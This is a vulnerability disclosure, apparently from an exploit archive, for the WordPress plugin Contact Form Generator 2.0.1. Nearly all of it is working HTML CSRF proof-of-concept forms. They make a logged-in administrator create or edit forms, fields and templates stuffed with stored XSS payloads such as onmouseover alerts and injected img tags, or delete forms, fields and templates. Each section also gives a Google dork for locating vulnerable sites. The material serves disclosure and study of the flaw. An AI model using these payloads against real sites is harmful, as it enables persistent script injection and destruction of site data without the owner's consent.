WordPress Plugin Contact Form Generator 2.0.1 – Multiple Cross-Site Request Forgery Vulnerabilities
<html> <!-- # Exploit Title: WordPress Contact Form Generator v2.0.1 and below (create/update field for contact form) CSRF and Persistent issue # Date: 2015-09-04 # Google Dork: Index of /wp-content/plugins/contact-form-generator/ # Exploit Author: Joaquin Ramirez Martinez [ i0akiN SEC-LABORATORY ] # Vendor Homepage: http://creative-solutions.net/ # plugin uri: http://creative-solutions.net/wordpress/contact-form-generator/ # Software Link: https://downloads.wordpress.org/plugin/contact-form-generator.zip # Version: 2.0.1 # Tested on: windows 10 + firefox. ====================== Description (plugin) ====================== Contact Form Generator is a powerful contact form builder for WordPress! See <a href="http://creative-solutions.net/wordpress/contact- form-generator/demo">Live Demos</a>. It is packed with a <a href="http://creative-solutions.net/wordpress/contact-form-generator/ template-creator-demo">Template Creator Wizard</a> to create fantastic forms in a matter of seconds without coding. (copy of ´contactformgenerator.php´ file) =================== TECHNICAL DETAILS =================== A CSRF issue was found in the latest version of the plugin for wordpress 'Contact Form Generator'. The issue can be exploited by sending a special link to a wordpress administrator having installed the vulnerable plugin. form field creation: when the victim accesses the sent link, will create a new form and inject HTML / JS code without knowing. Update form field: when the victim accesses the link, will update information of the form identified for ´id´ parameter by injecting HTML / JS code. --> <!-- ================================ Field form creation [CSRF PoC] ================================ --> <body> <form action="http://localhost/wordpress2/wp-admin/admin.php?page=cfg_forms&act=cfg_submit_data&holder=fields" method="POST"> <input type="hidden" name="name" value=">"<img src=x>" /> <input type="hidden" name="id_form" value="8" /> <!-- an existing form id value for this element --> <input type="hidden" name="id_type" value="1" /> <input type="hidden" name="task" value="save" /> <input type="hidden" name="id" value="0" /> <input type="submit" value="Click me for create a field" /> </form> </body> <!-- ================================ Field form update [CSRF PoC] ================================ --> <body> <form action="http://localhost/wordpress2/wp-admin/admin.php?page=cfg_forms&act=cfg_submit_data&holder=fields" method="POST"> <input type="hidden" name="name" value="s" onmouseover="alert(/i0-sec/)" a=" /> <input type="hidden" name="tooltip_text" value="s" onmouseover="alert(/i0-sec/)" a=" /> <input type="hidden" name="id_form" value="3" /> <!-- an existing form id value --> <input type="hidden" name="id_type" value="1" /> <input type="hidden" name="column_type" value="0" /> <input type="hidden" name="required" value="0" /> <input type="hidden" name="published" value="1" /> <input type="hidden" name="width" value="s" onmouseover="alert(/i0-sec/)" a=" /> <input type="hidden" name="field_margin_top" value="s" onmouseover="alert(/i0-sec/)" a=" /> <input type="hidden" name="task" value="save" /> <input type="hidden" name="id" value="7" /> <!-- field id to edit --> <input type="submit" value="Click me for update a field" /> </form> </body> </html> <!-- 2015-09-02: vulnerability found 2015-09-04: Reported to vendor 2015-09-04: Full disclosure --> <html> <!-- # Exploit Title: WordPress Contact Form Generator v2.0.1 and below (create/update form) CSRF and Persistent issue # Date: 2015-09-04 # Google Dork: Index of /wp-content/plugins/contact-form-generator/ # Exploit Author: Joaquin Ramirez Martinez [ i0akiN SEC-LABORATORY ] # Vendor Homepage: http://creative-solutions.net/ # plugin uri: http://creative-solutions.net/wordpress/contact-form-generator/ # Software Link: https://downloads.wordpress.org/plugin/contact-form-generator.zip # Version: 2.0.1 # Tested on: windows 10 + firefox. ====================== Description (plugin) ====================== Contact Form Generator is a powerful contact form builder for WordPress! See <a href="http://creative-solutions.net/wordpress/contact- form-generator/demo">Live Demos</a>. It is packed with a <a href="http://creative-solutions.net/wordpress/contact-form-generator/ template-creator-demo">Template Creator Wizard</a> to create fantastic forms in a matter of seconds without coding. (copy of ´contactformgenerator.php´ file) =================== TECHNICAL DETAILS =================== A CSRF issue was found in the latest version of the plugin for wordpress 'Contact Form Generator'. The issue can be exploited by sending a special link to a wordpress administrator having installed the vulnerable plugin. template creation: when the victim accesses the sent link, will create a new form and inject HTML / JS code without knowing. Update form: when the victim accesses the link, will update information of the form identified for ´id´ parameter by injecting HTML / JS code. --> <!-- ========================= Create form [CSRF PoC ] ========================= payload: "><img src=[x]>< --> <body> <form action="http://localhost/wordpress2/wp-admin/admin.php?page=cfg_forms&act=cfg_submit_data&holder=forms" method="POST"> <input type="hidden" name="name" value="dsSASA"><img src=1><" /> <input type="hidden" name="top_text" value="xds"><img src=2><" /> <input type="hidden" name="pre_text" value="</textarea>"><img src=3><" /> <input type="hidden" name="thank_you_text" value="Message successfully sent"><img src=4><" /> <input type="hidden" name="send_text" value="Send"><img src=5><" /> <input type="hidden" name="send_new_text" value="New email"><img src=6><" /> <input type="hidden" name="close_alert_text" value="Close"><img src=7><" /> <input type="hidden" name="form_width" value="100%"><img src=8><" /> <input type="hidden" name="id_template" value="0" /> <input type="hidden" name="email_to" value=""><img src=9><" /> <input type="hidden" name="email_bcc" value=""><img src=10><" /> <input type="hidden" name="email_subject" value=""><img src=11><" /> <input type="hidden" name="email_from" value=""><img src=12><" /> <input type="hidden" name="email_from_name" value=""><img src=13><" /> <input type="hidden" name="email_replyto" value=""><img src=14><" /> <input type="hidden" name="email_replyto_name" value=""><img src=15><" /> <input type="hidden" name="redirect" value="0" /> <input type="hidden" name="redirect_itemid" value="2"><img src=17><" /> <input type="hidden" name="redirect_url" value=""><img src=16><" /> <input type="hidden" name="redirect_delay" value="0" /> <input type="hidden" name="send_copy_enable" value="1" /> <input type="hidden" name="send_copy_text" value="Send me a copy"><img src=17><" /> <input type="hidden" name="shake_count" value="2" /> <input type="hidden" name="shake_distanse" value="10" /> <input type="hidden" name="shake_duration" value="300" /> <input type="hidden" name="email_info_show_referrer" value="1" /> <input type="hidden" name="email_info_show_ip" value="1" /> <input type="hidden" name="email_info_show_browser" value="1" /> <input type="hidden" name="email_info_show_os" value="1" /> <input type="hidden" name="email_info_show_sc_res" value="1" /> <input type="hidden" name="show_back" value="1" /> <input type="hidden" name="published" value="1" /> <input type="hidden" name="custom_css" value="</textarea>"><img src=21><" /> <input type="hidden" name="task" value="save" /> <input type="hidden" name="id" value="0" /> <input type="submit" value="Click me for create a form" /> </form> </body> <!-- ========================== Update form [CSRF PoC ] ========================== payload: "><img src=[x]>< --> <body> <form action="http://localhost/wordpress2/wp-admin/admin.php?page=cfg_forms&act=cfg_submit_data&holder=forms" method="POST"> <input type="hidden" name="name" value="dsSASA"><img src=1><" /> <input type="hidden" name="top_text" value="xds"><img src=2><" /> <input type="hidden" name="pre_text" value="</textarea>"><img src=3><" /> <input type="hidden" name="thank_you_text" value="Message successfully sent"><img src=4><" /> <input type="hidden" name="send_text" value="Send"><img src=5><" /> <input type="hidden" name="send_new_text" value="New email"><img src=6><" /> <input type="hidden" name="close_alert_text" value="Close"><img src=7><" /> <input type="hidden" name="form_width" value="100%"><img src=8><" /> <input type="hidden" name="id_template" value="0" /> <input type="hidden" name="email_to" value=""><img src=9><" /> <input type="hidden" name="email_bcc" value=""><img src=10><" /> <input type="hidden" name="email_subject" value=""><img src=11><" /> <input type="hidden" name="email_from" value=""><img src=12><" /> <input type="hidden" name="email_from_name" value=""><img src=13><" /> <input type="hidden" name="email_replyto" value=""><img src=14><" /> <input type="hidden" name="email_replyto_name" value=""><img src=15><" /> <input type="hidden" name="redirect" value="0" /> <input type="hidden" name="redirect_itemid" value="2"><img src=17><" /> <input type="hidden" name="redirect_url" value=""><img src=16><" /> <input type="hidden" name="redirect_delay" value="0" /> <input type="hidden" name="send_copy_enable" value="1" /> <input type="hidden" name="send_copy_text" value="Send me a copy"><img src=17><" /> <input type="hidden" name="shake_count" value="2" /> <input type="hidden" name="shake_distanse" value="10" /> <input type="hidden" name="shake_duration" value="300" /> <input type="hidden" name="email_info_show_referrer" value="1" /> <input type="hidden" name="email_info_show_ip" value="1" /> <input type="hidden" name="email_info_show_browser" value="1" /> <input type="hidden" name="email_info_show_os" value="1" /> <input type="hidden" name="email_info_show_sc_res" value="1" /> <input type="hidden" name="show_back" value="1" /> <input type="hidden" name="published" value="1" /> <input type="hidden" name="custom_css" value="</textarea>"><img src=21><" /> <input type="hidden" name="task" value="save" /> <input type="hidden" name="id" value="0" /> <input type="submit" value="Click me for edit form" /> </form> </body> </html> <!-- =========== TIMELINE =========== 2015-09-02: vulnerability found 2015-09-04: Reported to vendor 2015-09-04: Full disclosure --> <html> <!-- # Exploit Title: WordPress Contact Form Generator v2.0.1 and below (create/update template for contact form) CSRF and Persistent issue # Date: 2015-09-04 # Google Dork: Index of /wp-content/plugins/contact-form-generator/ # Exploit Author: Joaquin Ramirez Martinez [ i0akiN SEC-LABORATORY ] # Vendor Homepage: http://creative-solutions.net/ # plugin uri: http://creative-solutions.net/wordpress/contact-form-generator/ # Software Link: https://downloads.wordpress.org/plugin/contact-form-generator.zip # Version: 2.0.1 # Tested on: windows 10 + firefox. ====================== Description (plugin) ====================== Contact Form Generator is a powerful contact form builder for WordPress! See <a href="http://creative-solutions.net/wordpress/contact- form-generator/demo">Live Demos</a>. It is packed with a <a href="http://creative-solutions.net/wordpress/contact-form-generator/ template-creator-demo">Template Creator Wizard</a> to create fantastic forms in a matter of seconds without coding. (copy of ´contactformgenerator.php´ file) =================== TECHNICAL DETAILS =================== A CSRF issue was found in the latest version of the plugin for wordpress 'Contact Form Generator'. The issue can be exploited by sending a special link to a wordpress administrator having installed the vulnerable plugin. template creation: when the victim accesses the sent link, will create a new template and inject HTML / JS code without knowing. Update template: when the victim accesses the link, will update information of the template identified for ´id´ parameter by injecting HTML / JS code. --> <!-- ============================== create a template [CSRF PoC ] ============================== payload: "><img src=x> --> <body> <form action="http://localhost/wordpress2/wp-admin/admin.php?page=cfg_forms&act=cfg_submit_data&holder=templates" method="POST"> <input type="hidden" name="name" value="xsa"><img src=x>" /> <!-- persistent form name [XSS] --> <input type="hidden" name="published" value="1" /> <input type="hidden" name="task" value="save" /> <input type="hidden" name="id" value="0" /> <input type="submit" value="Click me for add new template" /> </form> </body> <!-- ============================== edit a template [CSRF PoC ] ============================== payload: "><img src=x> --> <body> <form action="http://localhost/wordpress2/wp-admin/admin.php?page=cfg_forms&act=cfg_submit_data&holder=templates" method="POST"> <input type="hidden" name="name" value=""><img src=x>" /> <input type="hidden" name="styles[587]" value=""><img src=x>" /> <input type="hidden" name="styles[588]" value=""><img src=x>" /> <input type="hidden" name="styles[131]" value="inherit" /> <input type="hidden" name="styles[589]" value="1" /> <input type="hidden" name="styles[629]" value="dark-thin" /> <input type="hidden" name="styles[630]" value="dark-thin" /> <input type="hidden" name="styles[627]" value="0" /> <input type="hidden" name="styles[0]" value=""><img src=x>" /> <input type="hidden" name="styles[130]" value=""><img src=x>" /> <input type="hidden" name="styles[517]" value=""><img src=x>" /> <input type="hidden" name="styles[518]" value=""><img src=x>" /> <input type="hidden" name="styles[1]" value=""><img src=x>" /> <input type="hidden" name="styles[2]" value=""><img src=x>" /> <input type="hidden" name="styles[3]" value="solid" /> <input type="hidden" name="styles[4]" value=""><img src=x>" /> <input type="hidden" name="styles[5]" value=""><img src=x>" /> <input type="hidden" name="styles[6]" value=""><img src=x>" /> <input type="hidden" name="styles[7]" value=""><img src=x>" /> <input type="hidden" name="styles[8]" value=""><img src=x>" /> <input type="hidden" name="styles[9]" value=""><img src=x>" /> <input type="hidden" name="styles[10]" value=""><img src=x>" /> <input type="hidden" name="styles[11]" value=""><img src=x>" /> <input type="hidden" name="styles[12]" value=""><img src=x>" /> <input type="hidden" name="styles[13]" value=""><img src=x>" /> <input type="hidden" name="styles[14]" value=""><img src=x>" /> <input type="hidden" name="styles[15]" value=""><img src=x>" /> <input type="hidden" name="styles[16]" value=""><img src=x>" /> <input type="hidden" name="styles[17]" value=""><img src=x>" /> <input type="hidden" name="styles[18]" value=""><img src=x>" /> <input type="hidden" name="styles[19]" value=""><img src=x>" /> <input type="hidden" name="styles[600]" value="0" /> <input type="hidden" name="styles[601]" value=""><img src=x>" /> <input type="hidden" name="styles[602]" value=""><img src=x>" /> <input type="hidden" name="styles[603]" value=""><img src=x>" /> <input type="hidden" name="styles[604]" value=""><img src=x>" /> <input type="hidden" name="styles[605]" value=""><img src=x>" /> <input type="hidden" name="styles[606]" value=""><img src=x>" /> <input type="hidden" name="styles[607]" value=""><img src=x>" /> <input type="hidden" name="styles[608]" value="solid" /> <input type="hidden" name="styles[609]" value=""><img src=x>" /> <input type="hidden" name="styles[610]" value="0" /> <input type="hidden" name="styles[611]" value=""><img src=x>" /> <input type="hidden" name="styles[612]" value=""><img src=x>" /> <input type="hidden" name="styles[613]" value=""><img src=x>" /> <input type="hidden" name="styles[614]" value=""><img src=x>" /> <input type="hidden" name="styles[615]" value=""><img src=x>" /> <input type="hidden" name="styles[616]" value=""><img src=x>" /> <input type="hidden" name="styles[617]" value="0" /> <input type="hidden" name="styles[618]" value=""><img src=x>" /> <input type="hidden" name="styles[619]" value=""><img src=x>" /> <input type="hidden" name="styles[620]" value=""><img src=x>" /> <input type="hidden" name="styles[621]" value=""><img src=x>" /> <input type="hidden" name="styles[622]" value=""><img src=x>" /> <input type="hidden" name="styles[623]" value=""><img src=x>" /> <input type="hidden" name="styles[624]" value=""><img src=x>" /> <input type="hidden" name="styles[625]" value="solid" /> <input type="hidden" name="styles[626]" value=""><img src=x>" /> <input type="hidden" name="styles[20]" value=""><img src=x>" /> <input type="hidden" name="styles[21]" value=""><img src=x>" /> <input type="hidden" name="styles[22]" value="normal" /> <input type="hidden" name="styles[23]" value="normal" /> <input type="hidden" name="styles[24]" value="none" /> <input type="hidden" name="styles[25]" value="left" /> <input type="hidden" name="styles[506]" value="inherit" /> <input type="hidden" name="styles[510]" value="cfg_font_effect_none" /> <input type="hidden" name="styles[27]" value=""><img src=x>" /> <input type="hidden" name="styles[28]" value=""><img src=x>" /> <input type="hidden" name="styles[29]" value=""><img src=x>" /> <input type="hidden" name="styles[30]" value=""><img src=x>" /> <input type="hidden" name="styles[190]" value=""><img src=x>" /> <input type="hidden" name="styles[191]" value=""><img src=x>" /> <input type="hidden" name="styles[192]" value=""><img src=x>" /> <input type="hidden" name="styles[502]" value="left" /> <input type="hidden" name="styles[193]" value=""><img src=x>" /> <input type="hidden" name="styles[194]" value=""><img src=x>" /> <input type="hidden" name="styles[195]" value=""><img src=x>" /> <input type="hidden" name="styles[196]" value="solid" /> <input type="hidden" name="styles[197]" value=""><img src=x>" /> <input type="hidden" name="styles[198]" value=""><img src=x>" /> <input type="hidden" name="styles[199]" value="normal" /> <input type="hidden" name="styles[200]" value="normal" /> <input type="hidden" name="styles[201]" value="none" /> <input type="hidden" name="styles[202]" value="inherit" /> <input type="hidden" name="styles[511]" value="cfg_font_effect_none" /> <input type="hidden" name="styles[203]" value=""><img src=x>" /> <input type="hidden" name="styles[204]" value=""><img src=x>" /> <input type="hidden" name="styles[205]" value=""><img src=x>" /> <input type="hidden" name="styles[206]" value=""><img src=x>" /> <input type="hidden" name="styles[215]" value=""><img src=x>" /> <input type="hidden" name="styles[216]" value=""><img src=x>" /> <input type="hidden" name="styles[217]" value=""><img src=x>" /> <input type="hidden" name="styles[218]" value=""><img src=x>" /> <input type="hidden" name="styles[31]" value=""><img src=x>" /> <input type="hidden" name="styles[32]" value=""><img src=x>" /> <input type="hidden" name="styles[33]" value="normal" /> <input type="hidden" name="styles[34]" value="normal" /> <input type="hidden" name="styles[35]" value="none" /> <input type="hidden" name="styles[36]" value="left" /> <input type="hidden" name="styles[507]" value="inherit" /> <input type="hidden" name="styles[512]" value="cfg_font_effect_none" /> <input type="hidden" name="styles[37]" value=""><img src=x>" /> <input type="hidden" name="styles[38]" value=""><img src=x>" /> <input type="hidden" name="styles[39]" value=""><img src=x>" /> <input type="hidden" name="styles[40]" value=""><img src=x>" /> <input type="hidden" name="styles[41]" value=""><img src=x>" /> <input type="hidden" name="styles[42]" value=""><img src=x>" /> <input type="hidden" name="styles[43]" value="normal" /> <input type="hidden" name="styles[44]" value="normal" /> <input type="hidden" name="styles[509]" value="inherit" /> <input type="hidden" name="styles[46]" value=""><img src=x>" /> <input type="hidden" name="styles[47]" value=""><img src=x>" /> <input type="hidden" name="styles[48]" value=""><img src=x>" /> <input type="hidden" name="styles[49]" value=""><img src=x>" /> <input type="hidden" name="styles[505]" value="white" /> <input type="hidden" name="styles[508]" value="inherit" /> <input type="hidden" name="styles[132]" value=""><img src=x>" /> <input type="hidden" name="styles[133]" value=""><img src=x>" /> <input type="hidden" name="styles[168]" value=""><img src=x>" /> <input type="hidden" name="styles[519]" value=""><img src=x>" /> <input type="hidden" name="styles[520]" value=""><img src=x>" /> <input type="hidden" name="styles[500]" value="left" /> <input type="hidden" name="styles[501]" value="left" /> <input type="hidden" name="styles[134]" value=""><img src=x>" /> <input type="hidden" name="styles[135]" value=""><img src=x>" /> <input type="hidden" name="styles[136]" value="solid" /> <input type="hidden" name="styles[137]" value=""><img src=x>" /> <input type="hidden" name="styles[138]" value=""><img src=x>" /> <input type="hidden" name="styles[139]" value=""><img src=x>" /> <input type="hidden" name="styles[140]" value=""><img src=x>" /> <input type="hidden" name="styles[141]" value=""><img src=x>" /> <input type="hidden" name="styles[142]" value=""><img src=x>" /> <input type="hidden" name="styles[143]" value=""><img src=x>" /> <input type="hidden" name="styles[144]" value=""><img src=x>" /> <input type="hidden" name="styles[145]" value=""><img src=x>" /> <input type="hidden" name="styles[146]" value=""><img src=x>" /> <input type="hidden" name="styles[147]" value=""><img src=x>" /> <input type="hidden" name="styles[148]" value=""><img src=x>" /> <input type="hidden" name="styles[149]" value="normal" /> <input type="hidden" name="styles[150]" value="normal" /> <input type="hidden" name="styles[151]" value="none" /> <input type="hidden" name="styles[152]" value="inherit" /> <input type="hidden" name="styles[153]" value=""><img src=x>" /> <input type="hidden" name="styles[154]" value=""><img src=x>" /> <input type="hidden" name="styles[155]" value=""><img src=x>" /> <input type="hidden" name="styles[156]" value=""><img src=x>" /> <input type="hidden" name="styles[157]" value=""><img src=x>" /> <input type="hidden" name="styles[158]" value=""><img src=x>" /> <input type="hidden" name="styles[159]" value=""><img src=x>" /> <input type="hidden" name="styles[160]" value=""><img src=x>" /> <input type="hidden" name="styles[161]" value=""><img src=x>" /> <input type="hidden" name="styles[162]" value=""><img src=x>" /> <input type="hidden" name="styles[163]" value=""><img src=x>" /> <input type="hidden" name="styles[164]" value=""><img src=x>" /> <input type="hidden" name="styles[165]" value=""><img src=x>" /> <input type="hidden" name="styles[166]" value=""><img src=x>" /> <input type="hidden" name="styles[167]" value=""><img src=x>" /> <input type="hidden" name="styles[513]" value="cfg_font_effect_none" /> <input type="hidden" name="styles[176]" value=""><img src=x>" /> <input type="hidden" name="styles[177]" value=""><img src=x>" /> <input type="hidden" name="styles[178]" value=""><img src=x>" /> <input type="hidden" name="styles[179]" value=""><img src=x>" /> <input type="hidden" name="styles[180]" value=""><img src=x>" /> <input type="hidden" name="styles[181]" value=""><img src=x>" /> <input type="hidden" name="styles[182]" value=""><img src=x>" /> <input type="hidden" name="styles[183]" value=""><img src=x>" /> <input type="hidden" name="styles[184]" value=""><img src=x>" /> <input type="hidden" name="styles[185]" value=""><img src=x>" /> <input type="hidden" name="styles[186]" value=""><img src=x>" /> <input type="hidden" name="styles[187]" value=""><img src=x>" /> <input type="hidden" name="styles[188]" value=""><img src=x>" /> <input type="hidden" name="styles[189]" value=""><img src=x>" /> <input type="hidden" name="styles[171]" value=""><img src=x>" /> <input type="hidden" name="styles[514]" value="cfg_font_effect_none" /> <input type="hidden" name="styles[172]" value=""><img src=x>" /> <input type="hidden" name="styles[173]" value=""><img src=x>" /> <input type="hidden" name="styles[174]" value=""><img src=x>" /> <input type="hidden" name="styles[175]" value=""><img src=x>" /> <input type="hidden" name="styles[169]" value=""><img src=x>" /> <input type="hidden" name="styles[521]" value=""><img src=x>" /> <input type="hidden" name="styles[522]" value=""><img src=x>" /> <input type="hidden" name="styles[170]" value=""><img src=x>" /> <input type="hidden" name="styles[523]" value=""><img src=x>" /> <input type="hidden" name="styles[535]" value=""><img src=x>" /> <input type="hidden" name="styles[536]" value=""><img src=x>" /> <input type="hidden" name="styles[537]" value=""><img src=x>" /> <input type="hidden" name="styles[538]" value=""><img src=x>" /> <input type="hidden" name="styles[539]" value=""><img src=x>" /> <input type="hidden" name="styles[540]" value=""><img src=x>" /> <input type="hidden" name="styles[541]" value=""><img src=x>" /> <input type="hidden" name="styles[542]" value=""><img src=x>" /> <input type="hidden" name="styles[543]" value=""><img src=x>" /> <input type="hidden" name="styles[544]" value=""><img src=x>" /> <input type="hidden" name="styles[545]" value=""><img src=x>" /> <input type="hidden" name="styles[546]" value=""><img src=x>" /> <input type="hidden" name="styles[547]" value="solid" /> <input type="hidden" name="styles[548]" value=""><img src=x>" /> <input type="hidden" name="styles[549]" value=""><img src=x>" /> <input type="hidden" name="styles[550]" value=""><img src=x>" /> <input type="hidden" name="styles[551]" value=""><img src=x>" /> <input type="hidden" name="styles[524]" value=""><img src=x>" /> <input type="hidden" name="styles[525]" value=""><img src=x>" /> <input type="hidden" name="styles[526]" value="normal" /> <input type="hidden" name="styles[527]" value="normal" /> <input type="hidden" name="styles[528]" value="none" /> <input type="hidden" name="styles[529]" value="inherit" /> <input type="hidden" name="styles[530]" value="cfg_font_effect_none" /> <input type="hidden" name="styles[531]" value=""><img src=x>" /> <input type="hidden" name="styles[532]" value=""><img src=x>" /> <input type="hidden" name="styles[533]" value=""><img src=x>" /> <input type="hidden" name="styles[534]" value=""><img src=x>" /> <input type="hidden" name="styles[91]" value=""><img src=x>" /> <input type="hidden" name="styles[50]" value=""><img src=x>" /> <input type="hidden" name="styles[212]" value="left" /> <input type="hidden" name="styles[92]" value=""><img src=x>" /> <input type="hidden" name="styles[93]" value=""><img src=x>" /> <input type="hidden" name="styles[209]" value=""><img src=x>" /> <input type="hidden" name="styles[100]" value=""><img src=x>" /> <input type="hidden" name="styles[101]" value=""><img src=x>" /> <input type="hidden" name="styles[127]" value="solid" /> <input type="hidden" name="styles[102]" value=""><img src=x>" /> <input type="hidden" name="styles[103]" value=""><img src=x>" /> <input type="hidden" name="styles[104]" value=""><img src=x>" /> <input type="hidden" name="styles[105]" value=""><img src=x>" /> <input type="hidden" name="styles[94]" value=""><img src=x>" /> <input type="hidden" name="styles[95]" value=""><img src=x>" /> <input type="hidden" name="styles[96]" value=""><img src=x>" /> <input type="hidden" name="styles[97]" value=""><img src=x>" /> <input type="hidden" name="styles[98]" value=""><img src=x>" /> <input type="hidden" name="styles[99]" value=""><img src=x>" /> <input type="hidden" name="styles[106]" value=""><img src=x>" /> <input type="hidden" name="styles[107]" value=""><img src=x>" /> <input type="hidden" name="styles[108]" value="normal" /> <input type="hidden" name="styles[109]" value="normal" /> <input type="hidden" name="styles[110]" value="none" /> <input type="hidden" name="styles[112]" value="inherit" /> <input type="hidden" name="styles[515]" value="cfg_font_effect_none" /> <input type="hidden" name="styles[113]" value=""><img src=x>" /> <input type="hidden" name="styles[114]" value=""><img src=x>" /> <input type="hidden" name="styles[115]" value=""><img src=x>" /> <input type="hidden" name="styles[116]" value=""><img src=x>" /> <input type="hidden" name="styles[51]" value=""><img src=x>" /> <input type="hidden" name="styles[52]" value=""><img src=x>" /> <input type="hidden" name="styles[124]" value=""><img src=x>" /> <input type="hidden" name="styles[516]" value="cfg_font_effect_none" /> <input type="hidden" name="styles[125]" value=""><img src=x>" /> <input type="hidden" name="styles[126]" value=""><img src=x>" /> <input type="hidden" name="styles[117]" value=""><img src=x>" /> <input type="hidden" name="styles[118]" value=""><img src=x>" /> <input type="hidden" name="styles[119]" value=""><img src=x>" /> <input type="hidden" name="styles[120]" value=""><img src=x>" /> <input type="hidden" name="styles[121]" value=""><img src=x>" /> <input type="hidden" name="styles[122]" value=""><img src=x>" /> <input type="hidden" name="styles[552]" value="1" /> <input type="hidden" name="styles[553]" value=""><img src=x>" /> <input type="hidden" name="styles[554]" value=""><img src=x>" /> <input type="hidden" name="styles[555]" value="normal" /> <input type="hidden" name="styles[556]" value="normal" /> <input type="hidden" name="styles[596]" value="none" /> <input type="hidden" name="styles[590]" value=""><img src=x>" /> <input type="hidden" name="styles[591]" value="solid" /> <input type="hidden" name="styles[592]" value=""><img src=x>" /> <input type="hidden" name="styles[558]" value=""><img src=x>" /> <input type="hidden" name="styles[559]" value=""><img src=x>" /> <input type="hidden" name="styles[560]" value=""><img src=x>" /> <input type="hidden" name="styles[561]" value=""><img src=x>" /> <input type="hidden" name="styles[563]" value="1" /> <input type="hidden" name="styles[562]" value="1" /> <input type="hidden" name="styles[597]" value=""><img src=x>" /> <input type="hidden" name="styles[598]" value=""><img src=x>" /> <input type="hidden" name="styles[564]" value=""><img src=x>" /> <input type="hidden" name="styles[565]" value="normal" /> <input type="hidden" name="styles[566]" value="normal" /> <input type="hidden" name="styles[594]" value="none" /> <input type="hidden" name="styles[567]" value=""><img src=x>" /> <input type="hidden" name="styles[568]" value="solid" /> <input type="hidden" name="styles[569]" value=""><img src=x>" /> <input type="hidden" name="styles[570]" value=""><img src=x>" /> <input type="hidden" name="styles[571]" value=""><img src=x>" /> <input type="hidden" name="styles[572]" value=""><img src=x>" /> <input type="hidden" name="styles[573]" value=""><img src=x>" /> <input type="hidden" name="styles[574]" value=""><img src=x>" /> <input type="hidden" name="styles[595]" value="none" /> <input type="hidden" name="styles[575]" value=""><img src=x>" /> <input type="hidden" name="styles[576]" value=""><img src=x>" /> <input type="hidden" name="styles[577]" value=""><img src=x>" /> <input type="hidden" name="styles[578]" value=""><img src=x>" /> <input type="hidden" name="styles[579]" value=""><img src=x>" /> <input type="hidden" name="styles[580]" value=""><img src=x>" /> <input type="hidden" name="styles[581]" value="normal" /> <input type="hidden" name="styles[582]" value="normal" /> <input type="hidden" name="styles[593]" value="none" /> <input type="hidden" name="styles[583]" value=""><img src=x>" /> <input type="hidden" name="styles[584]" value=""><img src=x>" /> <input type="hidden" name="styles[585]" value=""><img src=x>" /> <input type="hidden" name="styles[586]" value=""><img src=x>" /> <input type="hidden" name="styles[599]" value=""><img src=x>" /> <input type="hidden" name="styles[628]" value=""><img src=x>" /> <input type="hidden" name="task" value="save" /> <input type="hidden" name="id" value="2" /> <!-- template id to edit --> <input type="submit" value="Click me for update template" /> </form> </body> </html> <!-- 2015-09-02: vulnerability found 2015-09-04: Reported to vendor 2015-09-04: Full disclosure --> <html> <!-- # Exploit Title: WordPress Contact Form Generator v2.0.1 and below (delete) Cross-site Request Forgery (CSRF) issues # Date: 2015-09-04 # Google Dork: Index of /wp-content/plugins/contact-form-generator/ # Exploit Author: Joaquin Ramirez Martinez [ i0akiN SEC-LABORATORY ] # Vendor Homepage: http://creative-solutions.net/ # plugin uri: http://creative-solutions.net/wordpress/contact-form-generator/ # Software Link: https://downloads.wordpress.org/plugin/contact-form-generator.zip # Version: 2.0.1 # Tested on: windows 10 + firefox. ============== Description ============== Contact Form Generator is a powerful contact form builder for WordPress! See <a href="http://creative-solutions.net/wordpress/contact-form-generator/demo">Live Demos</a>. It is packed with a <a href="http://creative-solutions.net/wordpress/contact-form-generator/template-creator-demo">Template Creator Wizard</a> to create fantastic forms in a matter of seconds without coding. =================== TECHNICAL DETAILS =================== A CSRF issue was found in the latest version of the plugin for wordpress 'Contact Form Generator'. The issue can be exploited by sending a special link to a wordpress administrator having installed the vulnerable plugin, making the victim administrator user deletes a form (PoC # 1), delete a form element (PoC # 2), or delete an existing template (PoC # 3). --> <!-- =============================== delete a form [CSRF PoC #1] =============================== --> <body> <form action="http://localhost/wordpress2/wp-admin/admin.php?page=cfg_forms" method="POST"> <input type="hidden" name="filter_state" value="2" /> <input type="hidden" name="filter_search" value="" /> <!-- form id value.. --> <input type="hidden" name="ids[]" value="2" /> <!-- end --> <input type="hidden" name="task" value="delete" /> <input type="submit" value="Delete form(s)" /> </form> </body> <!-- =============================== delete a field [CSRF PoC #2] =============================== --> <body> <form action="http://localhost/wordpress2/wp-admin/admin.php?page=cfg_fields" method="POST"> <input type="hidden" name="filter_form" value="3" /> <input type="hidden" name="filter_state" value="2" /> <input type="hidden" name="filter_type" value="0" /> <input type="hidden" name="filter_search" value="" /> <!-- fields ids to delete --> <input type="hidden" name="ids[]" value="9" /> <input type="hidden" name="ids[]" value="10" /> <!-- end list --> <input type="hidden" name="task" value="delete" /> <input type="hidden" name="ids[]" value="" /> <input type="submit" value="delete field(s)" /> </form> </body> <!-- ================================== delete a template [CSRF PoC #3] ================================== --> <body> <form action="http://localhost/wordpress2/wp-admin/admin.php?page=cfg_templates" method="POST"> <input type="hidden" name="filter_state" value="2" /> <input type="hidden" name="filter_search" value="" /> <!-- an existing template id(s) to delete --> <input type="hidden" name="ids[]" value="1" /> <!--end--> <input type="hidden" name="task" value="delete" /> <input type="hidden" name="ids[]" value="" /> <input type="submit" value="Delete template(s)" /> </form> </body> <!--- =========== TIME-LINE =========== 2015-09-02: vulnerability found 2015-09-04: Reported to vendor 2015-09-04: Full disclosure -> |